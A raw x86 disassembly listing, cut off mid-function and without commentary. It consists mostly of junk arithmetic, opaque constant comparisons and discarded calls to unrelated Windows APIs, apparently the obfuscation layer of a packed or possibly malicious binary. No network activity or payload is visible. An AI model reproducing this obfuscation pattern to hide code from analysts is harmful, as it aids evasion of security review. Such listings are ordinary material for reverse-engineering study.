mov edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x94]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0xc0], ecx
mov edx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x30]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x58]
mov dword [edx], ecx
mov eax, dword [ebp - 0xd0]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 5]
sar edx, cl
mov byte [ebp - 6], dl
mov eax, dword [ebp - 0x40]
movzx edx, word [eax]
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x6c]
mov word [ecx], dx
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x84]
and eax, dword [edx]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx]
add eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x7d0]
add edx, 7
mov dword [ebp - 0x7d0], edx
mov eax, dword [ebp - 0xac]
add eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x54]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x48]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x6c]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x40]
mov word [ecx], ax
mov edx, dword [ebp - 0x7c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 6]
and eax, ecx
mov byte [ebp - 5], al
mov edx, dword [ebp - 0x50]
add edx, dword [ebp - 0x98]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0xac]
sub eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x3c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x34]
xor edx, dword [ebp - 0x9c]
mov dword [section..data], edx
movsx eax, byte [ebp - 1]
mov ecx, dword [ebp - 0x80]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x88]
mov byte [edx], al
movsx eax, word [ebp - 0x2c]
movsx ecx, word [ebp - 0xc]
or eax, ecx
mov edx, dword [ebp - 0x70]
mov word [edx], ax
movzx eax, word [ebp - 0x18]
movzx ecx, word [ebp - 0x20]
shl eax, cl
mov ecx, dword [ebp - 0x40]
mov word [ecx], ax
mov edx, dword [ebp - 0xb8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x7c]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 6], al
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0xc4]
add ecx, dword [eax]
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0xa0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x94]
mov dword [edx], ecx
movzx eax, byte [ebp - 5]
movzx ecx, byte [ebp - 3]
sub eax, ecx
mov edx, dword [ebp - 0xd4]
mov byte [edx], al
cmp dword [ebp - 0x7d0], 0x5024
jbe 0x4046fa
lea eax, [ebp - 0x8c]
mov dword [ebp - 0xa8], eax
mov ecx, dword [ebp - 0x60]
mov dl, byte [ecx]
mov byte [0x42ab08], dl
movsx eax, word [ebp - 0xc]
mov dword [ebp - 0x994], eax
cmp dword [ebp - 0x994], 0xffffdb19
je 0x404a11
cmp dword [ebp - 0x994], 0x1dd
je 0x4049bc
jmp 0x415149
lea ecx, [ebp - 0x12d0]
push ecx
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0xac], eax
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
and eax, dword [section..data]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0xac]
sub ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x1c]
mov dword [edx], ecx
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x298]
push ecx
lea edx, [ebp - 0x60]
push edx
call dword [sym.imp.ole32.dll_MonikerCommonPrefixWith]
mov dword [ebp - 0x3d8], eax
call fcn.004157f0
nop
jmp 0x415149
mov eax, dword [ebp - 0xd4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x7c]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0xd8]
movzx eax, byte [edx]
movzx edx, byte [ebp - 3]
add eax, edx
cmp ecx, eax
jge 0x404af8
mov eax, dword [ebp - 0x40]
movzx edx, word [eax]
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x48]
mov word [ecx], dx
mov edx, dword [ebp - 0x9c]
mov dword [ebp - 0x998], edx
cmp dword [ebp - 0x998], 0x5e97c03e
je 0x404a76
cmp dword [ebp - 0x998], 0x72edad6e
je 0x404ae7
jmp 0x404af6
mov eax, dword [ebp - 0x54]
mov ecx, dword [section..data]
shl eax, cl
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
and edx, dword [ebp - 0xac]
cmp eax, edx
jle 0x404aa3
mov eax, dword [ebp - 0x6bc]
push eax
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x488], eax
mov ecx, dword [ebp - 0xd0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 3]
sub edx, eax
mov byte [ebp - 6], dl
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ecx]
add edx, dword [ebp - 0xec]
mov eax, dword [ebp - 0xa0]
mov dword [eax], edx
call dword [sym.imp.ole32.dll_CoRevertToSelf]
mov dword [ebp - 0x2d4], eax
mov ecx, dword [ebp - 0x9c]
sub ecx, dword [ebp - 0xac]
mov edx, dword [ebp - 0x3c]
mov dword [edx], ecx
jmp 0x404af6
mov eax, dword [ebp - 0x70]
movzx ecx, word [eax]
push ecx
call fcn.00416160
add esp, 4
jmp 0x404b65
mov edx, dword [ebp - 0x40]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xa8]
movzx edx, word [ecx]
xor eax, edx
movzx ecx, word [ebp - 0x20]
movzx edx, word [ebp - 0x18]
or ecx, edx
cmp eax, ecx
je 0x404b65
mov eax, dword [ebp - 0x60]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 1]
add ecx, edx
mov byte [0x42ab08], cl
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0xb48]
push ecx
call dword [sym.imp.ole32.dll_CoGetCallContext]
mov dword [ebp - 0x378], eax
mov edx, dword [ebp - 0x70]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xc]
sub eax, ecx
mov edx, dword [ebp - 0x70]
mov word [edx], ax
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x18]
sub ecx, edx
mov word [ebp - 0xa4], cx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov dword [ebp - 0x99c], ecx
cmp dword [ebp - 0x99c], 0x1f63ba2e
je 0x404b91
cmp dword [ebp - 0x99c], 0x72865b19
je 0x404cb1
jmp 0x404d06
movzx edx, byte [ebp - 4]
movzx eax, byte [ebp - 5]
and edx, eax
mov ecx, dword [ebp - 0xcc]
mov byte [ecx], dl
movsx edx, word [ebp - 0x2c]
mov dword [ebp - 0x9a0], edx
cmp dword [ebp - 0x9a0], 0x261
je 0x404bce
cmp dword [ebp - 0x9a0], 0x36de
je 0x404c9b
jmp 0x404caf
mov eax, dword [ebp - 0xd0]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x90]
movzx ecx, byte [eax]
add edx, ecx
movzx eax, byte [ebp - 3]
movzx ecx, byte [ebp - 4]
sar eax, cl
cmp edx, eax
jge 0x404c65
mov ecx, dword [ebp - 0x68]
mov edx, dword [ecx]
xor edx, dword [ebp - 0xc0]
mov dword [ebp - 0x64], edx
lea eax, [ebp - 0x6bc]
push eax
call dword [sym.imp.ole32.dll_CoDisableCallCancellation]
mov dword [ebp - 0x2d4], eax
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x9a4], ecx
cmp dword [ebp - 0x9a4], 0x1452523b
je 0x404c37
cmp dword [ebp - 0x9a4], 0x31cee2d4
je 0x404c57
jmp 0x404c63
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx]
mov edx, dword [ebp - 0x1c]
mov dword [edx], eax
mov eax, dword [ebp - 0x70]
movzx ecx, word [eax]
push ecx
call fcn.00416160
add esp, 4
jmp 0x404c63
mov edx, dword [ebp - 0x24]
and edx, dword [ebp - 0x34]
mov dword [ebp - 0x84], edx
jmp 0x404c99
mov eax, dword [ebp - 0xd4]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 3]
shl edx, cl
mov eax, dword [ebp - 0xd0]
movzx ecx, byte [eax]
mov eax, dword [ebp - 0x7c]
movzx eax, byte [eax]
or ecx, eax
cmp edx, ecx
jg 0x404c99
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0xc4]
add edx, dword [ecx]
mov eax, dword [ebp - 0x5c]
mov dword [eax], edx
jmp 0x404caf
mov ecx, dword [ebp - 0x54]
push ecx
movzx edx, word [ebp - 0x8c]
push edx
call fcn.00415860
add esp, 8
jmp 0x404d06
lea eax, [ebp - 0x510]
push eax
mov ecx, dword [ebp - 0xca8]
push ecx
call dword [sym.imp.USERENV.dll_GetProfilesDirectoryW]
mov dword [ebp - 0x488], eax
mov edx, dword [ebp - 0xac]
sub edx, dword [ebp - 0x54]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x18]
add ecx, edx
mov eax, dword [ebp - 0xa8]
mov word [eax], cx
lea ecx, [ebp - 0xeec]
push ecx
lea edx, [ebp - 0x8b4]
push edx
call dword [sym.imp.ole32.dll_OleSetAutoConvert]
mov dword [ebp - 0x2d4], eax
movzx eax, byte [ebp - 6]
mov ecx, dword [ebp - 0xd0]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], al
movzx edx, word [ebp - 0xb4]
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
add edx, ecx
movzx eax, word [ebp - 0x8c]
mov ecx, dword [ebp - 0x48]
movzx ecx, word [ecx]
add eax, ecx
cmp edx, eax
jl 0x415088
movsx edx, word [ebp - 0xc]
mov dword [ebp - 0x9a8], edx
cmp dword [ebp - 0x9a8], 0xc82
je 0x404dc5
cmp dword [ebp - 0x9a8], 0x5d38
je 0x404d6a
jmp 0x404e41
mov eax, dword [ebp - 0x58]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
sub eax, dword [edx]
cmp ecx, eax
je 0x404dc3
mov ecx, dword [section..data]
sub ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x58]
mov dword [edx], ecx
movzx eax, word [ebp - 0x20]
mov dword [ebp - 0xc40], eax
cmp dword [ebp - 0xc40], 0xcc
je 0x404da7
jmp 0x404db6
movzx ecx, word [ebp - 0x14]
push ecx
call fcn.00416160
add esp, 4
jmp 0x404dc3
movzx edx, byte [ebp - 4]
movzx eax, byte [ebp - 6]
sub edx, eax
mov byte [ebp - 3], dl
jmp 0x404e41
lea ecx, [ebp - 0x1228]
push ecx
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x84], eax
movzx edx, word [ebp - 0x8c]
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x6c]
mov word [eax], dx
mov ecx, dword [ebp - 0x90]
mov dl, byte [ecx]
mov byte [ebp - 0x9ac], dl
cmp byte [ebp - 0x9ac], 9
je 0x404e0f
cmp byte [ebp - 0x9ac], 0x2a
je 0x404e30
jmp 0x404e41
mov eax, dword [ebp - 0x70]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x14]
sub ecx, edx
mov word [ebp - 0x2c], cx
mov eax, dword [ebp - 0x70]
movzx ecx, word [eax]
push ecx
call fcn.00416570
add esp, 4
jmp 0x404e41
mov edx, dword [ebp - 0x60]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 1]
sub eax, ecx
mov edx, dword [ebp - 0x80]
mov byte [edx], al
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0x68]
mov dword [edx], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
mov dword [ebp - 0xe0], ecx
mov dword [ebp - 0x810], 0xd12b
mov edx, dword [ebp - 0xac]
mov dword [ebp - 0xc44], edx
cmp dword [ebp - 0xc44], 0x355c5f7b
je 0x404e80
jmp 0x404e95
mov eax, dword [ebp - 0x74]
mov edx, dword [ebp - 0x98]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x50], edx
jmp 0x41502a
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x34]
and eax, dword [ebp - 0x9c]
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x94]
mov dword [eax], edx
mov ecx, dword [ebp - 0x7c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 5]
sub edx, eax
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], dl
movzx edx, word [ebp - 0x4c]
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0xa8]
mov word [eax], dx
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx]
add edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x24]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0xa0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x74]
add ecx, dword [edx]
mov eax, dword [ebp - 0x94]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x28]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x38]
add edx, dword [eax]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], edx
movsx edx, byte [0x42ab08]
mov eax, dword [ebp - 0x60]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 1], dl
movsx edx, word [ebp - 0x2c]
movsx ecx, word [ebp - 0xc]
shl edx, cl
mov word [ebp - 0x14], dx
movsx eax, byte [ebp - 1]
mov ecx, dword [ebp - 0x60]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [0x42ab08], al
mov edx, dword [ebp - 0xa8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x4c]
or eax, ecx
mov edx, dword [ebp - 0x48]
mov word [edx], ax
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0xa0]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x94]
mov dword [eax], edx
mov ecx, dword [ebp - 0x84]
add ecx, dword [ebp - 0xe0]
mov dword [ebp - 0xac], ecx
movzx edx, word [ebp - 0x18]
movzx eax, word [ebp - 0x20]
add edx, eax
mov ecx, dword [ebp - 0x40]
mov word [ecx], dx
movzx edx, byte [ebp - 2]
movzx eax, byte [ebp - 4]
sub edx, eax
mov byte [ebp - 3], dl
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0xc4]
add edx, dword [ecx]
mov dword [ebp - 0xec], edx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
and ecx, dword [eax]
mov edx, dword [ebp - 0x58]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x84], ecx
mov edx, dword [ebp - 0x94]
mov eax, dword [edx]
add eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
movzx edx, byte [ebp - 5]
mov eax, dword [ebp - 0x90]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0xcc]
mov byte [eax], dl
mov ecx, dword [ebp - 0x6c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x18], dx
mov edx, dword [ebp - 0x9c]
or edx, dword [section..data]
mov eax, dword [ebp - 0x3c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x84]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x38]
mov dword [eax], edx
movsx edx, word [ebp - 0x2c]
movsx ecx, word [ebp - 0xc]
shl edx, cl
mov eax, dword [ebp - 0x70]
mov word [eax], dx
movsx ecx, byte [0x42ab08]
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x60]
mov byte [edx], cl
movzx eax, word [ebp - 0x8c]
movzx ecx, word [ebp - 0xa4]
and eax, ecx
mov word [ebp - 0x20], ax
movzx edx, byte [ebp - 5]
mov eax, dword [ebp - 0xb8]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0xd4]
mov byte [eax], dl
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x84]
mov dword [section..data], ecx
mov edx, dword [ebp - 0x68]
mov eax, dword [edx]
sub eax, dword [ebp - 0x64]
mov dword [ebp - 0x98], eax
mov ecx, dword [ebp - 0xe0]
sub ecx, dword [ebp - 0x9c]
mov edx, dword [ebp - 0x3c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xe0]
add ecx, dword [eax]
mov edx, dword [ebp - 0x38]
mov dword [edx], ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x24]
mov dword [ebp - 0x9c], ecx
mov edx, dword [ebp - 0x7d4]
sub edx, 0xf8
mov dword [ebp - 0x7d4], edx
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 4]
add ecx, edx
mov byte [ebp - 5], cl
movzx eax, word [ebp - 0x20]
movzx ecx, word [ebp - 0x18]
sub eax, ecx
mov word [ebp - 0x4c], ax
mov edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x98]
add eax, dword [edx]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x9c]
or edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x28]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x9c]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x38]
mov dword [eax], edx
mov ecx, dword [ebp - 0x74]
mov edx, dword [ebp - 0x68]
mov eax, dword [ecx]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x90]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 6]
xor eax, ecx
mov edx, dword [ebp - 0x7c]
mov byte [edx], al
movzx eax, word [ebp - 0x18]
movzx ecx, word [ebp - 0xb4]
and eax, ecx
mov edx, dword [ebp - 0x40]
mov word [edx], ax
movsx eax, word [ebp - 0xc]
movsx ecx, word [ebp - 0x14]
sub eax, ecx
mov edx, dword [ebp - 0x70]
mov word [edx], ax
mov eax, dword [ebp - 0x88]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x80]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x60]
mov byte [edx], cl
mov eax, dword [ebp - 0x50]
sub eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
sub eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 0xd4]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 3], dl
movzx edx, word [ebp - 0x18]
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x40]
mov word [eax], dx
cmp dword [ebp - 0x7d4], 0xaf20
ja 0x404ea4
movzx ecx, word [ebp - 0xb4]
mov edx, dword [ebp - 0x40]
movzx eax, word [edx]
and ecx, eax
mov word [0x42a004], cx
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
mov dword [ebp - 0xf8], edx
movsx eax, byte [ebp - 1]
movsx ecx, byte [0x42ab08]
add eax, ecx
mov edx, dword [ebp - 0x88]
movsx ecx, byte [edx]
mov edx, dword [ebp - 0x60]
movsx edx, byte [edx]
xor ecx, edx
cmp eax, ecx
jge 0x405299
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xac]
mov dword [ebp - 0xe0], ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
lea eax, [ebp - 0x2d4]
push eax
lea ecx, [ebp - 0xedc]
push ecx
call dword [sym.imp.ole32.dll_CoGetTreatAsClass]
mov dword [ebp - 0x93c], eax
mov edx, dword [ebp - 0x84]
push edx
movzx eax, word [ebp - 0x8c]
push eax
call fcn.00415860
add esp, 8
jmp 0x414fd5
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0xc4]
shl edx, cl
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x74]
mov eax, dword [eax]
or eax, dword [ecx]
cmp edx, eax
jne 0x414fd5
movzx ecx, word [ebp - 0xa4]
movzx edx, word [0x42a004]
sub ecx, edx
mov eax, dword [ebp - 0x6c]
mov word [eax], cx
mov ecx, dword [ebp - 0x7c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 2]
sub edx, eax
mov ecx, dword [ebp - 0xd8]
mov byte [ecx], dl
lea edx, [ebp - 0xc0]
mov dword [ebp - 0xe8], edx
mov eax, dword [ebp - 0xe0]
sub eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
cmp dword [ebp - 0x7d8], 0x801c
jbe 0x4053e3
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xe0]
add eax, dword [edx]
mov dword [section..data], eax
mov ecx, dword [ebp - 0x7d8]
sub ecx, 0xb7
mov dword [ebp - 0x7d8], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
add eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov edx, dword [ebp - 0x34]
sub edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x70]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x2c]
add edx, eax
mov ecx, dword [ebp - 0x70]
mov word [ecx], dx
mov edx, dword [ebp - 0x60]
movsx eax, byte [edx]
movsx ecx, byte [0x42ab08]
and eax, ecx
mov byte [ebp - 1], al
mov edx, dword [ebp - 0x90]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 5]
shl eax, cl
mov byte [ebp - 4], al
mov ecx, dword [ebp - 0xa8]
movzx edx, word [ecx]
movzx ecx, word [0x42a004]
sar edx, cl
mov word [ebp - 0x18], dx
mov eax, dword [ebp - 0xc0]
xor eax, dword [ebp - 0x98]
mov dword [ebp - 0xec], eax
mov ecx, dword [ebp - 0x94]
mov edx, dword [ecx]
or edx, dword [ebp - 0xc4]
mov dword [ebp - 0x98], edx
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x4c]
add ecx, edx
mov word [0x42a004], cx
movzx eax, byte [ebp - 6]
movzx ecx, byte [ebp - 2]
add eax, ecx
mov byte [ebp - 3], al
jmp 0x405302
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x30]
mov eax, dword [edx]
add eax, dword [ebp - 0x24]
cmp ecx, eax
jge 0x40540e
movzx edx, word [ebp - 0x4c]
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x18], dx
jmp 0x414edb
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x58]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x54]
cmp eax, edx
jl 0x414d10
lea eax, [ebp - 0x24]
mov dword [ebp - 0xb0], eax
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0xa0]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x98]
add ecx, dword [ebp - 0x64]
cmp eax, ecx
jbe 0x4054ec
mov edx, dword [section..data]
mov dword [ebp - 0x9b0], edx
cmp dword [ebp - 0x9b0], 0x4b654b88
je 0x4054d8
cmp dword [ebp - 0x9b0], 0x645b388b
je 0x405475
jmp 0x4054e7
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0x94]
mov dword [edx], ecx
lea eax, [ebp - 0x488]
push eax
lea ecx, [ebp - 0x298]
push ecx
push 0xa4
mov edx, dword [ebp - 0xff4]
push edx
call dword [sym.imp.ole32.dll_IsAccelerator]
mov dword [ebp - 0x488], eax
mov eax, dword [ebp - 0xf8]
and eax, dword [ebp - 0x34]
mov dword [section..data], eax
movzx ecx, byte [ebp - 4]
mov edx, dword [ebp - 0xb8]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0xcc]
mov byte [edx], cl
jmp 0x4054e7
mov eax, dword [ebp - 0x70]
movzx ecx, word [eax]
push ecx
call fcn.00416160
add esp, 4
jmp 0x4055bd
movzx edx, word [ebp - 0x18]
movzx eax, word [ebp - 0xb4]
sub edx, eax
mov ecx, dword [ebp - 0xa8]
mov word [ecx], dx
mov edx, dword [ebp - 0xcc]
mov al, byte [edx]
mov byte [ebp - 0x9b4], al
cmp byte [ebp - 0x9b4], 0
je 0x405527
cmp byte [ebp - 0x9b4], 0xb1
je 0x405599
jmp 0x4055bd
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
sub edx, dword [ecx]
mov dword [ebp - 0x108], edx
mov eax, dword [ebp - 0xc4]
add eax, dword [ebp - 0xc0]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x820], 0x5984
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0xe0]
shl edx, cl
mov eax, dword [ebp - 0xb0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0xfc], ecx
mov edx, dword [ebp - 0xd8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 6]
sar eax, cl
mov byte [ebp - 2], al
mov dword [ebp - 0x81c], 0x6eb4
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x104], ecx
jmp 0x4055bd
lea edx, [ebp - 0x2d4]
push edx
lea eax, [ebp - 0x3dc]
push eax
lea ecx, [ebp - 0x24]
push ecx
push 0x3b
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.ole32.dll_CoInstall]
mov dword [ebp - 0x6b8], eax
mov eax, dword [ebp - 0x70]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x14]
or ecx, edx
mov word [ebp - 0xc], cx
movsx eax, byte [0x42ab08]
mov ecx, dword [ebp - 0x80]
movsx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x7dc]
add eax, 0xbf
mov dword [ebp - 0x7dc], eax
mov ecx, dword [ebp - 0x74]
mov edx, dword [ecx]
and edx, dword [ebp - 0x50]
mov dword [ebp - 0x98], edx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0xfc]
add ecx, dword [eax]
mov dword [ebp - 0x9c], ecx
mov edx, dword [ebp - 0xb8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 2]
add eax, ecx
mov byte [ebp - 5], al
movzx edx, word [ebp - 0x20]
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x48]
mov word [eax], dx
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0xc0]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x94]
mov dword [eax], edx
mov ecx, dword [ebp - 0xac]
sub ecx, dword [ebp - 0x108]
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0xe0]
and ecx, dword [eax]
mov dword [section..data], ecx
mov edx, dword [ebp - 0x74]
mov eax, dword [edx]
sub eax, dword [ebp - 0x64]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xcc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xb8]
